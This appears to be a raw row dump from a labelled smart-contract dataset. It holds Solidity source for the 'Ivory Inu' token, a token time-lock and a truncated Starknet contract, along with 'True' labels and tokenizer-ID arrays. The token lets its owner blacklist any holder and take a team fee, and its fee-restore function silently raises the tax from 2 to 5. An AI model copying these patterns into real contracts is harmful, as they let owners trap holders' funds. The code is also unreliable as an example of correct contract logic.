contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract IvoryInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Ivory Inu";
string private constant _symbol = "IVORY";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4500 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
| True | [
101,
1013,
1008,
11554,
1999,
2226,
1011,
1028,
1002,
11554,
23921,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
11554,
2378,
16161,
7520,
1013,
1002,
1002,
1002,
1002,
1002,
1002,
1013,
1002,
1002,
1002,
1002,
1002,
1002,
1064,
1035,
1002,
1002,
1035,
1013,
1064,
1035,
1002,
1002,
1035,
1013,
1064,
1002,
1002,
1013,
1002,
1002,
1013,
1002,
1002,
1013,
1002,
1002,
1002,
1002,
1002,
1002,
1013,
1002,
1002,
1002,
1002,
1002,
1002,
1013,
1002,
1002,
1013,
1002,
1002,
1064,
1002,
1002,
1013,
1002,
1002,
1002,
1002,
1002,
1002,
1002,
1013,
1002,
1002,
1013,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1013,
1002,
1002,
1013,
1002,
1002,
1035,
1035,
1002,
1002,
1013,
1002,
1002,
1035,
1035,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1035,
1035,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1032,
1002,
1002,
1013,
1002,
1002,
1013,
1002,
1002,
1032,
1002,
1002,
1064,
1002,
1002,
1032,
1035,
1035,
1013,
1064,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1032,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1032,
1002,
1002,
1002,
1013,
1064,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1013,
1002,
1002,
1002,
1002,
1002,
1002,
1032,
1002,
1013,
1064,
1002,
1002,
1002,
1002,
1002,
1002,
1013,
1064,
1002,
1002,
1064,
1002,
1002,
1002,
1002,
1002,
1002,
1002,
1013,
1002,
1002,
1002,
1002,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1002,
1002,
1002,
1002,
1013,
1064,
1035,
1035,
1035,
1035,
1035,
1035,
1013,
1032,
1035,
1013,
1032,
1035,
1035,
1035,
1035,
1035,
1035,
1013,
1064,
1035,
1035,
1013,
1032,
1035,
1035,
1035,
1035,
1002,
1002,
1064,
1035,
1035,
1035,
1035,
1035,
1035,
1013,
1064,
1035,
1035,
1013,
1064,
1035,
1035,
1013,
1032,
1035,
1035,
1035,
1035,
1035,
1035,
1013,
1013,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1002,
1002,
1002,
1002,
1013,
1032,
1035,
1035,
1035,
1035,
1035,
1035,
1013,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 28598400;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x2DF085f476d4391a8061f7652fCDE60615fE7FBC;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
20865,
1006,
1038,
1028,
1014,
1007,
1025,
1013,
1013,
5024,
3012,
8073,
11618,
2043,
16023,
2011,
1014,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
1013,
1013,
20865,
1006,
1037,
1027,
1027,
1038,
1008,
1039,
1009,
1037,
1003,
1038,
1007,
1025,
1013,
1013,
2045,
2003,
2053,
2553,
1999,
2029,
2023,
2987,
1005,
1056,
2907,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
20865,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
2709,
1037,
1011,
1038,
1025,
1065,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
20865,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
1065,
3206,
19204,
1063,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
2270,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1025,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
1065,
3206,
2219,
3085,
1063,
4769,
2270,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
1996,
2219,
3085,
9570,
2953,
4520,
1996,
2434,
1036,
3954,
1036,
1997,
1996,
3206,
2000,
1996,
4604,
2121,
1008,
4070,
1012,
1008,
1013,
9570,
2953,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
11618,
2065,
2170,
2011,
2151,
4070,
2060,
2084,
1996,
3954,
1012,
1008,
1013,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4473,
1996,
2783,
3954,
2000,
4651,
2491,
1997,
1996,
3206,
2000,
1037,
2047,
12384,
2121,
1012,
1008,
1030,
11498,
2213,
2047,
12384,
2121,
1996,
4769,
2000,
4651,
6095,
2000,
1012,
1008,
1013,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2069,
12384,
2121,
2270,
1063,
5478,
1006,
2047,
12384,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
3954,
1010,
2047,
12384,
2121,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: Apache-2.0.
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
import "IFactRegistry.sol";
import "IIdentity.sol";
import "Output.sol";
import "StarknetGovernance.sol";
import "StarknetMessaging.sol";
import "StarknetOperator.sol";
import "StarknetState.sol";
import "OnchainDataFactTreeEncoder.sol";
import "GovernedFinalizable.sol";
import "ContractInitializer.sol";
import "ProxySupport.sol";
import "NamedStorage.sol";
contract Starknet is
IIdentity,
StarknetMessaging,
StarknetGovernance,
GovernedFinalizable,
StarknetOperator,
ContractInitializer,
ProxySupport
{
using StarknetState for StarknetState.State;
// Logs the new state following a state update.
event LogStateUpdate(uint256 globalRoot, int256 blockNumber);
// Logs a stateTransitionFact that was used to update the state.
event LogStateTransitionFact(bytes32 stateTransitionFact);
// Random storage slot tags.
string internal constant PROGRAM_HASH_TAG = "STARKNET_1.0_INIT_PROGRAM_HASH_UINT";
string internal constant VERIFIER_ADDRESS_TAG = "STARKNET_1.0_INIT_VERIFIER_ADDRESS";
string internal constant STATE_STRUCT_TAG = "STARKNET_1.0_INIT_STARKNET_STATE_STRUCT";
function setProgramHash(uint256 newProgramHash) external notFinalized onlyGovernance {
programHash(newProgramHash);
}
// State variable "programHash" read-access functions.
function programHash() public view returns (uint256) {
return NamedStorage.getUintValue(PROGRAM_HASH_TAG);
}
// State variable "programHash" write-access functions.
function programHash(uint256 value) internal {
NamedStorage.setUintValue(PROGRAM_HASH_TAG, value);
}
// State variable "verifier" access functions.
function verifier() internal view returns (address) {
return NamedStorage.getAddressValue(VERIFIER_ADDRESS_TAG);
}
function setVerifierAddress(address value) internal {
NamedStorage.setAddressValueOnce(VERIFIER_ADDRESS_TAG, value);
}
// State variable "state" access functions.
function state() internal pure returns (StarknetState.State storage stateStruct) {
bytes32 location = keccak256(abi.encodePacked(STATE_STRUCT_TAG));
assembly {
stateStruct_slot := location
}
}
function isInitialized() internal view override returns (bool) {
return programHash() != 0;
}
function numOfSubContracts() internal pure override returns (uint256) {
return 0;
}
function validateInitData(bytes calldata data) internal pure override {
require(data.length == 4 * 32, "ILLEGAL_INIT_DATA_SIZE");
uint256 programHash_ = abi.decode(data[:32], (uint256));
require(programHash_ != 0, "BAD_INITIALIZATION");
}
function processSubContractAddresses(bytes calldata subContractAddresses) internal override {}
function initializeContractState(bytes calldata data) internal override {
(uint256 programHash_, address verifier_, StarknetState.State memory initialState) = abi
.decode(data, (uint256, address, StarknetState.State));
programHash(programHash_);
setVerifierAddress(verifier_);
state().copy(initialState);
}
/**
Returns a string that identifies the contract.
*/
function identify() external pure override returns (string memory) {
return "StarkWare_Starknet_2022_1";
}
/**
Returns the current state root.
*/
function stateRoot() external view returns (uint256) {
return state().globalRoot;
}
/**
Returns the current block number.
*/
function stateBlockNumber() external view returns (int256) {
return state().blockNumber;
}
/**
Updates the state of the StarkNet, based on a proof of the
StarkNet OS that the state transition is valid.
Arguments:
